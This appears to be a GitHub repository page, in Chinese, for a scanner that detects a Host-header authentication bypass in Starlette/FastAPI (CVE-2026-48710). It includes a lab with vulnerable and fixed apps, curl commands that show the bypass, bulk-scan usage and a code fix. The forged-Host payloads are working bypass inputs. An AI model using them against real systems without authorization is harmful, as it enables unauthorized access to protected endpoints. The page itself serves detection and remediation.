Bhanunamikaze/BadHost-CVE-2026-48710-Exploit

GitHub: Bhanunamikaze/BadHost-CVE-2026-48710-Exploit

针对 Starlette/FastAPI Host 标头认证绕过漏洞(CVE-2026-48710)的专用检测扫描器,支持 OpenAPI 端点自动发现和批量扫描。

Stars: 1 | Forks: 0

# BadHost — CVE-2026-48710 扫描器 用于检测 Starlette / FastAPI 中 **BadHost** 认证绕过漏洞的专用扫描器 —— 该漏洞存在于认证中间件读取 `request.url.path` 而非 `request.scope["path"]` 的情况下,允许通过伪造的 `Host` 标头 smuggle(夹带)白名单路径,进而绕过身份验证。 ``` GET /admin HTTP/1.1 Host: api.internal/health?__badhost= # Starlette 看到 request.url.path == "/health" → 允许 # ASGI 仍然路由到 /admin → 绕过 ``` **受影响版本:** Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x **修复版本:** Starlette 0.46.2+ ## 功能 - 传入完整 URL(`https://host/path`)—— 自动提取路径作为探针 - 从 FastAPI/OpenAPI JSON 或 YAML 规范(文件或 URL)加载 endpoint - 自动发现无需认证的路径,作为注入候选 - 同时测试 `Host` 和 `X-Forwarded-Host` 载体,涵盖两种 payload 策略 - 内置 AI/LLM(`--preset ai`)和 MCP(`--preset mcp`)endpoint 预设 - 输出:文本摘要、`--json`、`--csv` - 实时扫描进度输出至 stderr;零第三方依赖 ## 本地漏洞靶场(`badhost_vuln_lab/`) 内置两个 FastAPI 应用,用于本地验证: | 应用 | URL | 认证读取方式 | |-----|-----|-----------| | 存在漏洞 | `http://127.0.0.1:8000` | `request.url.path` —— 可被绕过 | | 已修复 | `http://127.0.0.1:8001` | `request.scope["path"]` —— 安全 | ``` cd badhost_vuln_lab docker compose up --build ``` 或者不使用 Docker: ``` pip install -r badhost_vuln_lab/requirements.txt uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000 uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001 ``` ### 手动绕过测试 ``` curl -i http://127.0.0.1:8000/admin # 403 curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed ``` ## 安装 ``` git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git cd BadHost-CVE-2026-48710-Exploit python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed ``` ## 用法 ``` # 单个完整 URL — 自动提取路径,无需额外 flags python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder # 多个完整 URL python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users # 在完整 URL 之上添加额外路径 python badhost_openapi_scanner.py https://api.internal/checkout \ --protected POST:/api/checkout --protected GET:/api/cart # 从本地 openapi.json 进行只读扫描 python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json # 包含 write 方法(仅限 staging/authorized) python badhost_openapi_scanner.py http://api.internal:8000 \ --openapi ./openapi.json --openapi-methods all \ --unsafe-allow-write --openapi-body-mode invalid # 直接从目标获取 OpenAPI python badhost_openapi_scanner.py http://api.internal:8000 \ --openapi http://api.internal:8000/openapi.json # 多个目标,CSV 输出 python badhost_openapi_scanner.py --targets-file targets.txt \ --openapi ./openapi.json --csv > results.csv # AI/LLM + MCP 预设路径(无需 OpenAPI) python badhost_openapi_scanner.py http://api.internal:8000 --preset all ``` ## 判定结果 | 判定 | 含义 | |---------|---------| | `CONFIRMED` | 基准测试返回 401/403 → 探测测试返回 2xx。**存在漏洞。** | | `SUSPECT` | 基准测试返回 401/403 → 探测测试返回 404/405/422。认证网关似乎已绕过;请手动验证。来自 FastAPI 的 `422` 尤为关键。 | | `REJECTED` | 代理在绕过前拒绝了格式错误的 Host(400/421) | | `BLOCKED` | 伪造的请求仍被拒绝 | | `OPEN` | 在无认证情况下已可访问 —— 与此 CVE 无关 | 输出中仅显示 `CONFIRMED` 和 `SUSPECT`。退出码 `2` = CONFIRMED,`1` = SUSPECT,`0` = 未发现异常。 ## 修复方案 ``` # 易受攻击 if request.url.path.startswith("/public"): ... # 已修复 if request.scope["path"].startswith("/public"): ... ``` 升级至 **Starlette 0.46.2+** / **FastAPI 0.116.0+**。 **仅供授权测试使用。请仅扫描您拥有或获得明确测试权限的系统。**
标签:AV绕过, CISA项目, FastAPI, Python, Web安全, 代码生成, 加密, 无后门, 渗透测试工具, 漏洞扫描器, 蓝队分析, 请求拦截, 身份认证绕过, 逆向工具